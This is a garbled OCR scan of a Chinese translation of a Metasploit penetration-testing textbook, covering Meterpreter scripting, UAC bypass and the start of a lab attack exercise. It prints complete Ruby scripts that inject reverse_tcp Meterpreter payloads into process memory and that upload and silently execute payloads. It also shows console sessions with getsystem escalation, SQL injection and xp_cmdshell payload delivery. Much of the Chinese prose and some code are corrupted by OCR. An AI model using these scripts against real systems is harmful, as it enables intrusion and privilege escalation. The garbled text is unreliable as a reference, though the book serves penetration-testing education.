"-mr" =» [ true, “Provide Multiple IP Addresses for Connections
separated by comma,”],
"-mp® => [ true, “Provide Multiple PID for connections separated by
comma one per IP."]

)

meter type = client.platfomm
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ERERFEGE RS, SRR TR JGHAMERME 7 E X, Bli: pid=nlOfE2 |-
M PID ZF®, (ERXNERALNERE. @exec opts = Rex::Parser:: Arguments.new®5H T 1§
EEH -S> ITIEW 0 BSEEE A

T &4 E X T RATGE R FIPR %L

#REHHREHRARHRR#IE Function Declarations #HSHEFEEHEHHIHIEE

# Usape Messape Function

U

® def usage
print_line "Meterpreter Script for injecting a reverse tcp Meterpreter Payload®
print_line "in to memory of multiple PID's, if none is provided a notepad process.”
print_line "will be created and a Meterpreter Payload will be injected in to each.”
print line(@exec opts.usage)
raise Rex::Script::Completed

end

# Wrong Meterpreter Version Message Function

def wrong meter version{meter = meter type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::5cript::Completed

end

¥ Function for injecting payload in to a given PID

® def inject(target pid, payload to_inject)
print_status("Injecting meterpreter into process ID #{target pid}")
begin
host_process = @client.sys.process.open(target_pid.to i, PROCESS_ALL_ACCESS
raw = payload to inject.generate
©mem = host process.memory.allocate{raw.length + (raw.length % 1024})

print_statuws("Allccated memory at address #{"0x%.8x" % mem}, for
#{raw.length} byte stager®)
print status("Writing the stager into memory...")
©host_process.memory.write{mem, raw)
®host_process.thread.create(mem, 0)
print_good{ " Successfully injected Meterpreter in to process: #{target pid}”)
rescue: :Exception => e
print_error("Failed to Inject Payload to #{target pid}!™)
print_error(e)
end
end

ZEXFIS, usage PO E-h M STETNRE S48 H. /RP] M Meterpreter API 3 B &1
i —2% Meterpreter ER L, ETHREMIL T — 255 R SR, Bl def inject RELEAFI—
TMitER e,

BT EFREENITERE host_process.memory.allocate HEEH O, ZRI A FRIIA
Meterpreter Wb BN F M. 2 5T A host process.memory.write ¥ OK A FEE A FiE
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¥ 16 E Meterpreter Bl A RIS

FEREEFEZ ], [R5 host_process.thread.create I3 - FRI£1R@.

T—2&, BATEX— a0 a8K A MBANEFMN R m B, £ TFTHRHEHE A
BAFur (BRIMER Meterpreter, LA IESEITR TG E, £ AW 224403 Meterpreter
-ar Py

# Function for creation of connectiorn handler

def create_multi handler{payload to_inject)
mul = @client.framework.exploits.create{"multi/handler”)
mul.share_datastore(payload _to _inject.datastore)
mul.datastore] 'WORKSPACE'] = @client.workspace
mul .datastore[ ‘PAYLOAD'] = payload_to_inject
mul ., datastore[ 'EXITFUNC'] = 'process’
mul.datastore[ 'ExitOnSession’] = true
print_status({"Running paylecad handler")
mul.expleit simple(
'Payload’ => mul.datastore[’'PAYLOAD'],
‘RunAslob’ => true

end

£ FHE ST EHAK pay = client.framework.payloads.create(payload) i ¥ fE 88 ik 117
Metasploit fERPGIFE - MEEHERGT, FARMITMEXRE A Meterpreter B ik #, Metasploit
¥ BB shEHE:

# Function for Creating the Payload

def create payload(payload type,lhost,lport)
print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}")}
payload = payload_type
pay = client.framework.payloads.create{payload)
pay.datastore['LHOST'] = lhost
pay.datastore[ "LPORT'] = lport
return pay

end
FRERHBANER— M BFEEFHE, WRBNAFREHAE, RE4S03108H -~

# Function that starts the notepad.exe process

det start proc()
print_good("Starting Notepad.exe to house Meterpreter Session.")
proc = client.sys.process.execute{'notepad.exe', nil, {'Hidden’ => true })
print_good("Process created with pid #{proc.pid}")
return proc,pid
end
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LR AVER AWE BIFRE LRITEMA &4 . HEEZP) Hidden (BIR) EMBENR,
XERERMNETEEN (BRI NREERSEAARR, THEEEAHEERASE
AEEO, BRSNS AP R,

REHEAH FERENAK, DEATS NERFENRERE, E5RNBEEAN,

RERESEHAR SRS AREHT Main HERRSHARAHRRERRY
@exec_opts.parse{args) { |opt, idx, val|

case opt
when "-h"

usage
when "-p”®

lport = val.to_i
when “-m”

start handler = truwe
when "-pt”

paylead_type = val
when "-mr™

multi ip = val.split{(",™)
when "-mp™

multi pid = val,split(",
end

}

# Check for Version of Meterpreter
wrong_meter_version{meter_type) if meter_type [~ /win32|winb4/i
# Create a Multi Handler is Desired

create multi handler(payload_type) if start_handler

B, RIGBITFAERTE, BERMNAEERIEAY. R#ARTIF S Meterpreter #1F
. {EA R E R PID W,

# Check for a FID or program name

if multi_ip

it multi pid
if multi_ip.lemgth == multi_pid.length
pid_index = O
multi_ip.each do [i|
payload = create payload(payload type,i,lport)
inject{multi pid[pid_index],payload)
select(nil, nil, nil, 5)
pid index = pid_index + 1
end
else
multi ip.each do |i]
payload = create payload(payload type,i,lport)
inject{start_proc, payload)
select{nil, nil, nil, 2)
end
end
end
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else
print_error{"You must provide at least one IPI")

end

16.2 Meterpreter API

EBFEMNALED, R LERI P EFFSHRTHRKOBNE, KB ERNTH.
MEMERESPRER S, KSEHFEAXNELHIZA Ruby EHERME 8 O CHEER M
A,

YERTT4R, F54r@HE Ruby shell (B#RFE ith) REWHRFPHEAITH oy 4. 7E Meterpreter
#ZEH, #iA b 2 ikE R <

meterpreter > irb

[*] Starting IRB shell
[*] The 'client” variable holds the meterpreter client

2

16.2.1 FTEN%sith
AT print_line()FF 25, ZRERIRITHRMH AR RERII— &R,

>» print_line("you have been pwnd!™)
you have been pwnd!
=» nil

T RFH print_status(), XM REEHAEREESDRBRAELSR, ol UHKITHH—
17 HAEITPREMRRER, FHEEATTEH.

>» print_status{"you have been pwnd!"}
[*] you have been pwnd!
=> nil

T A EHAAR print_good(), RSB WBERITRIER, HIRTEREIE LRI
B, DU AR

>> print_good("you have been pwnd")
[+] you have been pwnd
=» nil
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B TSR 2 print_error(if 8¢, %ISR RIRBE R BB IZI T HER AT, B[]
(SITTE

»>> print_erxor("you have been pwnd!")
[-] you have been pwnd!
=> nil

16.2.2 HAE API{EE

Meterpreter 320t T £M API HH, FILFER B CRERBIA P HIXE: AP, ERAEHS
DIREER A EHIThEE. PR R B i B iX 2 AP S % A8, WASRBEHFTINRE
H 2% E Meterpreter RIS R AN, XM LUAERGEE TREHAKER.
M EE K& MRB, DL BakTrack W H Metasploit % 13 1R H & F
Aib/rex/post/meterpreter/ui/console/command dispatcher/F H . MBI FHAER XML PR]
LHRE, U APRISHaerTREER.

root@bt:~# 1s -F fopt/framework3i/msf3/lib/rex/post/meterpreter/ui/consecle/
command_dispatcher/

core.rb espia.rb incognito.rb networkpug.rb priv/ priv.ib sniffer.rb
stdapi/ stdapi.1b

FEIX LR A Y A 3R & Bh Meterpreter 4.0, AP R . B8E81E, U RHARKERIE 6
Ao BEEIX AR L 4R T 23] Meterpreter 2 A 7E— NG R4 b T EER) .

16.2.3 Meterpreter Mixins

Meterpreter mixins (VB AZE) £ Meterpreter E R EFHM —RFIE B IRES . X
BEIEE b MEPEABHERHAN, RAEEGQE Meterpreter BIZRR{#H., THE —SRESHE
HMEETIFE.

cmd_exec(emd): PEBAEBEALMTRBITEHRA®S, dSHHERULITERSA Y
KB+

eventlog clear(evt=""); HRIFEMNIHHE, MEABENGREASE KHYH LR,
EBEl— MRS CcEBRESENESE.

eventlog_list): BEHAFHZE, HEP—MRSHM4HZLHENOKA.

file_Jocal_digestmd5(file2md5): iR[F]—MBT R M LK MDS B R TR B.

file_local_digestshal(file2shal): &[E—MEE XM 6 SHAL R FFEFE,

file local_digestsha2(file2sha2): iR[A|— Mg A U4 B9 SHA256 B RIS .
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file_[ocal write(file2wrt, dataZwrt): W45 1R BABEECHtH.

is_admin?(): RALWHPRTATERL. WRATHEARMEE, FAEEMERE.

is_uac_enabled?(): FIMrF P26 (UAC) BHE&HR-

registry_createkey(key): )3 -MMERENEMRBE, WHRERMIHREIH,

registry_deleteval(key,valname): fil B2 — M5 B KM R BEN B, 0 R B TR[E A

registry_delkey(key): R — 4% MIEMFRSE, WRMRAIHIEER.

registry_enumkeys(key): F|EHSEREMEREN T2, KO —MSTREHA.

registry_enumvals(key): F(& & ERNEMRBEMEMA, EBSHRESRHE.

registry_getvaldata(key,valname): i [745 2 i3 M 72 02 (0 R0 R 1A A 2038 .

registry_getvalinfo(key,valname): 3K [BI£5EF M RBE DRI HRY,

registry_setvaldata(key,valname,data,type): & B iz EHLHERFT PR E R EREREHE
8. WERINEFEH.

service_change_startup(name,mode): % -MEEREFH AR, LMRHERS A
AN, DIRAR—IMET 3. FIRARARBENEHS, RELEXIEH
.

service_create(name, display_name, executable_on_host,startup=2): iZRA¥H I tlE—4
BITHCHENRS . 28H6F. FHALUNRELR, FHELUNEREHE, ZHHEHE
R A B AT e, BEXRRNREHRE 2 383185, 33F LR, 4 YA,
BIAKA B3R5,

service_delete(name): % of 3R i BRI A2 RSB R B PR IR S

service_info(name)s 15 F]| Windows MIREH R . FILFERFIRFS L. BB HES
MRz S, REBHBRAPSEEYN, SHASETTLK. Bz, #S5MIER.

service_list(): FIHAE HEH Windows lRE, BEIA&FHRELRIMA.

service_start(name): AM3NAk%, WARBSFBINRME] 0, MERFCLBINRNE 1, FRR
K15 iR M| 2.

service_stop(name): KRS, MERIIZAMRFER 0, MERFCELZEHREEILE
M 1, WRRFAGEEIERM 2,
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MRRMBEIE R S A P I A B RIhEE, R E T E AN Meterpreter mixin BREF R,

16.3 4T Meterpreter BIZg95 01

R E Meterpreter BIAR, fFHRAERGEB-MHECG, FHELHABAND

Metasploit 28, PRFE T RELLTRN.
o FUFRIKEE ., RHMEETE, KAAEGAERBRERER, FEAMRMNTIEEHELE

NI AR

® {if tab BFTHE,. HEMEAHTHE.

& NEFHRKE, ARFERRKES{, HH doflend iEEREA.

® HLFHEEN, FREFHNETIER, RESEHREMENSBRIMR.

® A EA{HH] sleep eBE, ¥ H"select(nil, nil, nil, <time>)".

® FEEA puts FHEARSRAER I K%, {FH print,print_line. print_status. print_error.
F1 print_good H ¥,

® GRENE-hEM, ZEIENNEHITEHENIIE Y, HPEAERWm-$7EIR,

® WRFENAASTELNSERIERRIE Meterpreter V5217, #IRMAIH BEEN FF
K& LizfT, HENSIFNBREREN T RiTHHE.

16.4 f1)if B 2 & Meterpreter B &

EZHANRBERM X AWM EBERER, & scripts/meterpreter/ XH X T ERIE -T2 A
execute_uploadrb F)HETH. BITFICHEIIGEHBNEX G, F8a AR THRIXN
AR Rig&, RIFESOEBAR)GSiTET.

#f Meterpreter script for uploading and executing another meterprefer exe

infa = "Simple script for uploading and executing an additional meterpreter payload”
# Options

opts = Rex::Parser::Arguments.new(
©"-h" =» [ false, "This help menu. Spawn a meterpreter shell by uploading and
executing."],
®"-r" = [ true, "The IP of a remote Metasplait listening for the connect back"],
©"-p" = [ true, "The port on the remote host where Metasploit is listening
(default: 4434)"]
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XM EELMNERE FEERERE, RAZNTWEREER EMEELZaidrE B Carlos
Perez I SHIMATIREIERFEL. WAHEMELBOMER-H FId. « F-p AR REIETH K
Meterpreter ] iTREFMAFLERZRE PO OSSO, F&E: RIMEEZ T TRUE &M, XF
B i S TR A T Y -

HT¥, BieXEREPHERANEERE. RATHIAM Rex::Text.rand_text alpha b3 €&
—ME— IR AT A . IR IER AR E, BT SR £ IR0k — T AT X4
%, MBZXAEMOERERFRGE T —MEBREFRAMNFE. BRINYEEARESIMAZE,
FHAZEZSERE, KETH—EFL, Hig-hiEm.

filename= Rex::Text.rand text alpha{(rand{8)+6)) + ".exe

rhost = Rex::Socket.source_address{"1.2.3.4")
Tport = 4444
lhost = "127.0.0.1"
pay = nil
#
& Option parsing
#
opts.parse(args) do |opt, idx, val
case opt
when "-h"

print_line{info)
print_line(opts.usage}
raise Rex::5cript::Completed

when “-r"
rhost = val®
when "-p”
rport = val.to i@

end

end

EREABMNAHLAETE M8, PRAPNEE, RERMHAITEHEE. rhost=val Of)
aFXRE M-t AWH P EARE{ER T rhost LR" . rport = val.to_i® N i L3545
R{EMRIT A — N BRTER T rport G- - M OBEFTEEITE) .
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EETROLEYDT, RITBEXQBRALGBAFHNEHNELR.

® payload = "windows/meterpreter/reverse_tcp”

® pay = client.framework.payloads.create{payload)
pay.datastore[ "LHOST" ] = rhost
pay.datastore[ "LPORT'] = rport
mul = client.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)

mul.datastore| "WORKSPACE'] = client.workspace
mul .datastore[ 'PAYLOAD' ] = payload

mul.datastore[ "EXITFUNC'] = 'process’
mul ,datastore[ 'ExitOn5ession’] = true
mul,expleit simple(

'Payload’ => mul.datastore[ PAYLOAD'],
'RunAslob’ =» true

)

WRAIEFET windows/meterpreter/reverse tep fERMEHEH MO, MHiZIFH client.framework.
payloads.create PRA¥EMILEAO, HHE T LENSBHRGE -1 SaWEV . LHOST
M LPORT EMERNFEARRE IR A HCIZ B e DAL EIN.

ZETR, B2 —MTHRITICH (Win32 PE ¥ 3LH] Meterpreter), EA& 2 H &7 EVLHAAT:

® if client.platform =~ /win32|wintg/

®tempdir = client.fs.file.expand_path("ETEMPE")
print_status{"Uploading meterpreter to temp directory...")
Traw = pay.generate

©exe = :Msf::Util::EXE.to win3izpe{client. framework, raw)
tempexe = tempdir + "\\" + filename
tempexe.gsub! ( "V, "W\
fd = client.fs,file.new{tempexe, "wb")

fd.write{exe)

fd.close

print_status("Executing the payload on the system...")

execute payload = "#{tempdir}\\#{filename}”

pid = session.sys.process.execute{execute_payload, nil, {‘Hidden' =» true}}

end

ZEMEDCESHE XN TR GHESERE, & BISLE 3T tempdir # filename. 7+
XAMAF, RINEEAE T —#EQ, HRBNHERATGREAERET Windows HRSLO;
MERRKE,. BIAIMBHEEHASET. ARRNY B Bis ZHETH%TEMP%IE € Rk B
O, FEXGIE O, HBRAININRE A Msf:Util::EXE.to win32pe RO LIE K EXE 3
#HEA . iIdEEH session.sys.process.execute HITEAK, XHEHFRAHPEEASREAEEIFEHE.

GREiRk, BAITRBEKBAWM TR

# Meterpreter script for uploading and executing another meterpreter exe

info = "Simple script for uploading and executing an additional meterpreter paylcad”

#
# Options
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#

opts = Rex::Parser::Arguments.new(
“.h" =» [ false, "This help menu. Spawn a meterpreter shell by uploading and
executing.”],

"-r" =y [ true, "The IP of a remote Metaspleit listening for the connect back”],
“-p" => [ true, "The port on the remote host where Metasploit is listening
(default: 4444)"]
)
¥
% Default parameters
#
filename = Rex::Text.rand text alpha((rand{(8)+6)) + ".exe"
rhost = Rex::Socket.source address("1.2.3.4")
rport = 4444
lhost = "127.0.0.1"
pay = nil
¥
# Option parsing
#
opts.parse(args) do |opt, idx, val|
case opt
mE‘n '|'|-hll

print_line{info}
print line(opts.usage)
raise Rex::Script::Completed

men “‘I"

rhost = val
men “-P“

rport = val.to i
end

end

payload = "windows/meterpreter/reverse_tcp”
pay = client, framework,payloads.create{payload)
pay.datastore[ 'LHOST'] = rhost
pay.datastore[ 'LPORT'] = rport
my) = ¢lient.framework.expleits.create("multi/handler®)
mul .share datastore{pay.datastore)
mul.datastore{ 'WORKSPACE'] = client.workspace
mul .datastore] 'PAYLOAD' ] = payload
mul.datastore{ 'EXITFUNC'] = 'process’
mul . datastore[ 'ExitOnSession’] = true
print_status{"Running payload handler")
mul.exploit_simple{
'Payload’ =» mul.datastore['PAYLOAD'],
‘RunAslob’ => true
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if client.platform =~ /win32|win6a/

tempdir = c¢lient.fs.file.expand_path("XTEMPX")
print_status("Uploading meterpreter to temp directory")
IaW = pay.generate
exe = ::Msf::Util::EXE.to win32pe(client.framework, raw)
tempexe = tempdir + "\\" + filename
tempexe. gsubt {"\\A", "WYY
fd = client.fs.file.new(tempexs, "wb™)
fd.write{exe)
fd.close
print_status{"Executing the payload on the system")
execute_payload = "#{tempdir}\\#{filename}"
pid = session.sys.process.execute(execute payload, nil, {'Hidden' =»> true})

ghd

BT, AR T AR Meterpreter BRI, ik IAIH B Metasploit, A F] Meterpreter
H, HETIZRE,

meterpreter > run execute uplocad -r 172.16.32.129 -p 443

[*] Running payload handler

[*] Uploading meterpreter to temp directory

[*} Executing the paylead on the system

[*] Sending stage (749056 bytes) to 172.16.32.170

[*] Meterpreter session 2 opened (172,16,32.129:443 -> 172,16.32.170:1140} at
Tue Nov 30 23:24:19 -0500 2010

meterpreter »

A BEICEEIRT -4 Meterpreter BA, MINAT T BIHFET — 4B Meterpreter
shell. X REIHFE < T Meterpreter B4 Ruby i85 & XHIRE /7.

RINZARE L T — M EENTELBB AR Meterpreter IR {L 4 Metasploit #HH28
AR GEHE: RIEFTHE M Metasploit v4.0 P IERFIA NG 2B R EEED), BITEEEF—
A8 BA&E L Windows 7 UAC HLiEI ) sh 2Rtk . Windows Vista LL R Z JFBIME A S| A T 224 UNIX
Al Linux FH) sudo f5%. A 7 X MR, — I HEAAHRBRE,FERITENESN, FE
FREERRRESARGFT. ZRE2#H 780, EsHPFERETARRNATS
HEBETT HEIRVE . UAC Mm% Hir R R0 4 B e i B sy, R EE S R HEGIAE

=PMHPEPEBET.

#E 2010 £ 12 A, Dave Kennedy 1 Kevin Mitnick BAF T —H 821t Windows A J ik
2% (UAC) By Meterpreter #23R, ZRHU B R A A ST 5 KA IE B LR
"UAC £4" Wit AL UAC #&). JREARERNER, - -PEh&8E&E (DLL) #
#i%#, FEUAC RENHRLETET, X1 DLL $i7 LISIT UAC RIZ{T <.
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XA EFP, BIVSERHMERXAATASRER A AR (UAC) MESETHEE
e HHEREHS WRRTTEBEI— S WBRITEE Onultithandler) Htk, XERTRITEZS
Meterpreter shell, T B ERF 1, J]RNVZ1T getsystem fr->HIHEEMR T . X EFH AN Windows
AP K ES (UAC) HLHIRE LEZRAME A & i 2.

resource {src/program_junk/meta config)> expleit -j

[*] Expleoit running as background job.

mst expleit{handler) >

[¥] Started reverse handler on 0.0.0.0:443

[¥] Starting the payload handler...

[*] Sending stage (745056 bytes) to 172.16.32.130

[¥] Meterpreter session 1 opened (172.16.32.128:443 -> 172,16.32.130:2310) at
Thu June 09 08:02:45 -0500 2011

mst expleit(handler) » sessions -1 1

[*] Starting interaction with 1...

meterpreter > getsystem

[-] priv_elevate getsystem: Operation failed: Access is denied.

meterpreter > sysinfo

Computer: DAVE-DEV-PC

0% : Windows 7 (Build 7600).

Arch : x64 (Current Process is WOW64)

Language: en_US

meterpreter >

FE: BRNTERA-ARENEAEKS, KAHEAEH (UAC) FHE M &ITPAR.
RANTT{EGFRA R/, ANTTREZRZEBHEEKS, SRAEENRATERR—FPARE
. B CTRL-Z BRI HREFEKERBTFE. 25, RIMEAFEBARETEEEN
A, Amstid Windows PP ES (UAC) BiirIhe.

msf exploit{handler) > use post/windows/escalate/bypassuac
msf post(bypassuac} > show options
Module options {post/windows/escalate/bypassvac):

Name Current Setting Required Description

- - S L e E o o - R T X T TN TN E

LHOST no Listener IP address for the new session
LPORT 4444 no Listener port for the new session
SESSION yes The session to run this module on.

msf post(bypassuac) > set LHOST 172.16.32.128
LHOST =» 172.16.32.128

msf post(bypassuac) » set SESSION 1

SESSION => 1

msf post(bypassuac) > exploit

[*] Started reverse handler on 172.16.32.128:4444

[*] Starting the payload handler...
[*] Uploading the bypass UAC executable to the filesystem...

249



Metasploit ;§iE N R 15 A

[*] meterpreter stager executable 73802 bytes lomg being uploaded..

[*] Uploaded the agent to the filesystem....

[*] Post module execution completed

msf post{bypassuac) »

[(*] Sending stage (749056 bytes) to 172.16.32.130

(*] Meterpreter session 2 opened (172.16.32.128:4444 -> 172.16.32.130:1106) at Thu June 09
19:50:54 -0500 2011

[*] Session ID 2 (172.16.32.128:4444 -> 172.16.32.130:1106) processing InitialAutoRunScript
'migrate -f'

[*] Current server process: tYNpQMP.exe {3716)

[*] Spawning a notepad.exe host process...

[*] Migrating into process ID 3812

[*] New server process: notepad.exe (3812)

msf post(bypassuac) > sessions -1 2
[*] Starting interaction with 2...

meterpreter > getsystem
...pot system (via technigue 1}.
meterpreter >

AT AT LLEE Meterpreter $5i & AR run KB use, ZE T UBBBNEIATEGE,
AT EHATE CoRAC BRI IR

ARPRINE LRSI THOERTIFEABT BN GTHT UAC &I NRELZR,
EKADMAFIRAF MR T )G B E R R AT B ST . ZBURETIREHR AR,
ARG IEBFHRI R X LEZ AR EN, RERERITER. FAERREBENEIE
EREIIERE, RS B AT SR R SR B R T

root@bt:/opt/framework3/msf3# rano modules/post/windows/escalate/bypassuac.rb

16.5 /I

BN RS B BB RERR I B M AT HER T, BALRS 3 ENEHIARTSEE
5. FAMNBEEARNE T, ZRIREFZUWERRH CRIER,

Bt R EA BETEER Meterpreter {2, EES W LIBAREEM AR @S, WH
PUERERK. WRAE-DBHNBEFEERT A, HRZE Metasploit JFAHIRA, WHAEIR
) B At W] Bl A At A BT !
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FRBEFENEANM TRNFRBE —EFEMRA L, MRS A EETRINTRT
- AEFHARN TR, T ARMNWR “FRTE” RE Wk MR, ERET, B’
BE—NEAHBEI A REEREZHETPREIANSEAREFE R, IRENEHF
FH BT MBR R REM R — B EN R R, RN XEP KL BTFEAR D
BRET.

TEFF AV BB R R EHT, 15T 82— 4 % Metasploitable ) Linux ¥4 241
W, (RWTLAZE hitp:/'www.thepiratebay. org/torrent/5573179/Metasploitable/IRE| XM HARET T
i) Metasploitable GG H I AL 9 2 3] 1 H Metasploit #1FHFAHAE vl LT DhZ
BEAMRERRTE, 2 M FRIIeMmkEE Metasploitable, RSB EIE . HA LUE
Metasploitable SERIFLAE T % A HoRF WE V. Window XP $EHUBAE — R R —1E /D
B8 ERE, ik Windows XP BEHFA — I EEBR e HEBURIFIRS, T Metasploitable #2411
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R - AN EIT A,

T, AN RSN EITAE R — ARG, HAEBA A AR A F A st R,
HATEHE S EMEANSEE, BNTTRAFHBHFTHAEML, BIRTRAES SR RIEHE
g e VI A

171 WHEZE

MY BT ENEAE- - MR, £~ XEEMRANIES, FENHBRLESTEY.
Tk s, R AW R Py SR A B IR, SRR B R H e SR =X A B Ty
. S—REFMEENASERNRE RNZEFARHN—ATRHERARS—HEL, R
xR 2 B RELIEALRAT — KRB E R

XAl ER RS, B0 BFAFENPHEE 172.1632.162 LK) Metasploitable
B (FHRAP 204 E msfadmin 0] T3k Metasploitable, 34T H IP BHTEHE).
Metasploitable - -5 RERTHAM, FHEHKBRPZE, BEHEEATREPMAEN. W&
i168 Windows XP $EHIACETE 172.16.32.131 IP Hhik F H¥EEET B M, LB KGR G (FF
I8 T Windows Firewall), R T 80 3w,

17.2 15IRILE

F—P S BEREERFBRAENLAIRTEEENTRYZ —, A MRRAX B TE
tefE R, RS REB I RGRITA AN, RITEX MNP EHEE TS ERLME
AR, FUhE WA RS E S X RZE AU AR

HAEF RN THRIIE Windows XP FENLEIT—EAN) nmap 1344, LRI 80 31
FF . TEXEMAT nmap PSR TCP H#, XMOHREARTEBEEFSHERT AR
THBHFRAHO . KERANERAEZSASHBARERTLUETSEOAM,. HhTFRA
PAMELERMN LR MILER, AUEiEESFRA VRN TR ERT.ER, RIFER
IESEE |3 G

root@bt:/# omap -sT -PO 172.16.32.131
Starting Nmap 5.21 { http://omap.org ) at 2011-05-22 23:29 EDT

Nmap scan report for 172.16.32.131
Host is uwp (0.00071s latency).
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Not shown: 99% filtered ports
PORT  STATE SERVICE
80/tcp open http

Nmap done: 1 IP address {1 host up) scanned in 17.46 seconds

HMNERXGEHIENEGERLE & Web IRES, RTERGEBM L AT AV A B R &K
RAEFIRAREE R, AL Web IR % 3[EEE S BR8N S BB a] DL ) BIR R L, ZERKRE
b, FATIREI T HRAERY HTTP % 01 80 AR Yr kel i . WREAX B L FEE, b
LIEZ A 17-1 Biam— R,

B 17-1 P BRI — Web REFFE S

17.3 BiphiEeE

HAH 80w OB G, BAIFTLULH#TH —PRB R RIE L08R, B
E£alPLER S BATH M BRYIX & Web IREZiHITT -SEITHET.

ERIMIFSE M — X ERE, $ERBHEANZTE RABENEd#GRE. RIS E
R TRMAR T 2MO4MKLY . EXE, EA—LFERNBENRE. WRMIZEHEHA
W ENATRKES T, RKAEH £ TUENBHER. NERETNHBEN 25 B
B}, Bi%% B Metasploit 24—y TR, st Web BiE iR 0T LL 2 8 Burp Suite
Chttp: /fwww.portswiggernet!) 535, THANELRFECHIE -MRMN T A L, BFEIFR®
Ko AR, RIMNBEX-KFETHEREEE, £HPERAMEFBNTEST GFHE
BIFGMBGS). FEAQSBAEDPEAN -MagS, WHE 172 PRSI, RIOTER
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AEEAE T,

E17-2 ZilAIHSQL A

R R FREBE SRS ERIIXERNRAESREM 4, XBREHAME
A - EAENEEINESH SQL Eah, HAMRMAEEETIIMRAHEBERERIIMBE
Web MHIRFALUMEAEZREG T, EXERET —MRERHIF—ESIAZ X FPAHY
R E T MR, SWNAERCEE, EHRETOE 17-3 $HARAHRE
B

HHRMG RBE R HeR Web H B SQL HEARE, RAHEMNERT -1 SQL &
BHRIR “Incorrect syntax near”, TZZBEIIMAFTEST FislEH. RNFIHRIIEDMES
RIHS, @i PMREF Google B W, LA LAFARE 5 5838 & £ MS SQL.

TEEE, BNA2BREATWMAN Web MEAIAT SQL ¥EABE, Fhe LARW LLEE 5 i
W R AMA SN G —NMEE SQL FARENRE, HELAE2WEE. (BiDa8EH
11 EPEEMERTIX—HER), 35 BNYMELRXELEREHIFRESZ, RN AREE
T HRFERSG LR RRBGERIE, NERMCSEME T MK IRX SRS, 2t
ANFEH A LHFRERMENER T .
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Server Error In '/ Application.

Incorrect syntax near 'TEST'.
Unclosed quatation mark after the character string ™

Dasrriptian: An uniidiic deciaption ocoarml damy e sonc e of s Conserl sl e Pl rsvmw e BUACH Ice J o nicrmshon B v wono sl wihons | argesisd iy GooE

Excaptian Dutsiba: Byplem s JPCE B ronpion moomect synies saar “TEFT
irciniel iumibiiitn ek afler B Charecier wirng ”

The ssuris cwde thet generated thiy ynhanwled taceptoen cen enly be shewn when cespiled 1n debug wods T enable tham please follow ofe of the bel

I A a "Dbig=troe™ darsctive at the tep of tie file that gerdssted the efrbr Exasple
i Fage Langugges® " Capbug="1rm"

ar

41 M4 tha Fallswing sectisn ta the cenfiguritien file of your spplicatien

<g mn figuralt ims
eEysten wel>
<cpnpllatinn buge" Frue” =
T/AYATER wals
=/pntagquentien»

Wete that thim swcend techoiges will caomd all f1law withao & goven spglocataen te b cabpiled 10 Osbug eade The Tairst techraigs will cause anly 3
Ispartsnt Munnlng Spplycatieng on debog sade doeq imeur & semary/perfarasncs sverhesd. You yhaule soka zure that e spplication hed debuggimg das

Beck Treca:
|

| S e OO YN E InraemncL AR e TEST

Uinc b Tod (st Bubrs Wl i clueit-er 1y ]
Sywiges Dply Supi gt SaghCp noepCicel sy CmE rrnd LE wapbion s opdben, Baublann ALl Cbiieierton | + B 1S
Tryinih Dula TS Sl Sapiie b runl wamec Sen Ol rrse] St scopim s secaptas, Beobo e Coomes Hoo) + 90118
Sywharn Dwin RlCiend TO8 Palsa, Thirew £ SoepOomi s S WS Tl Prar e Sl Diuc ] sbiCiy + 1 I
Sycirrn Dnta SoCieol Tl Sere e Sac % o Eabunviner nendinbarviar S semmans CopdHanober, Sgtlbats Ml GRS Em, Ul 0 & P ST Sl Bl Oy Har e, Tl s Poi s i K e 1.‘]

Crobpre Dats S ham! Syilaindiowsiar Conrmmailainl ol | + 31
Syaiem Thata SebCioat SkDalaRaadey g6l Mot Mta) + 51

Funlalusrar repai iy iiring] + 307

Bl 17-3 &iRHB ST FE SQL HARIFH

17.4 EZiEE

FEBAIMN Web MAIEFPRZERFAN, KM 7T —PalUEld SQL AT XBNARE
. AZFH LT, Fast-Track RFEATREK—G MS SQL BRE HE BFERZ LA Merterpreter
VR FEE, EAIENMRES 11 FERLLHIH, Fast-Track TEATLE B E MS SQL
L RENRH.

TERNKRE -4 Meterpreter B2 G, R —SEFnAETIH M ERE
Metasploitable F&ZEH V7 1A $4.

17.5 MSF #Zin P R)SIENHITTE

BA 15 (50 SQLPwnage HiHIT SQL {FARMA - -4 Meterpreter &3, UEBEHNESS
RN EE SRR HEIZ TR 1 EPRINES N T SQLPwnage £ —Fi i MS SQL
EARTAR AT, EEHT EMNRGR %, FAA xp_cndshell FAETHEEZSTG
—8& SQL fR%%8.
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FEFF M AT Bk 2 00, RAIFEAE MSF B h it B — R FIET, X T LRESRRHRE,
% FahittlE 5 O K Metasploit #0755, B4R Fast-Track AT L4 B 3h M HRSE BRIK IR TAE . B471iE
¥ 7€ Metasploit P B auto_add_route®@ iR E, HFRATTTELERBMNET AelEEk ERR%K. €
RUFIANTEE 2 /S, JA 3N Fast-Track KRBl HAF R %

root@bt: /opt/framework3/msf3# msfconsole
mst > use multi/handler
msf exploit{handler) > set payload windows/meterpreter/revexse tcp
payload => windows/meterpreter/reverse_tcp
msf exploit{handler) > set LHOST 172.16.32.129
LROST =» 172.16.32.129
smsf exploit({handler) > set LPORT 343
LPORT => 443
©® exploit(handler} » load auto_add route
[¥] Successfully loaded plugin: aute_add route
msf exploit{handler} > exploit -j
[*] Expleit running as background job.
[*] Started reverse handler op 172.16.32.129:443
[*] Starting the payload handler...
ms¥ exploit(handler) >

RN AW REER TS EHREGH Bi5 REREEMN, BT FUEFT Fast-Track. (3
xterm & HTITE, B ExliE, BARMNECLRELY T -1 HUr2E)

[+] Importing 64kb debug bypass payload into Fast-Track... [+]
[+] Import complete, formatting the payload for delivery.. [+]
[+] Payload Formatting prepped and ready for launch. {+]
[+] Executing SQL commands fo elevate account permissions. [+])
[+] Initiating stored procedure: 'xp omdhshell® if disabled. [+]
[+] Delivery Complete. [+]
Launching MSFCLI Meterpreter Handler
Creating Metasploit Reverse Meterpreter Payload..
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=172,16.32.129,LP0RT=443
Taking raw binary and converting to hex.
Raw binary converted to straight hex.
[+] Bypassing Windows Debug 64KB Restrictians., Evil. [+]
[+] Sending chunked payload. Mumber 1 of . This may take a bit. [+]
[+] Sending chunked payload. Number 2 of g¢. This may take a bit. [+]

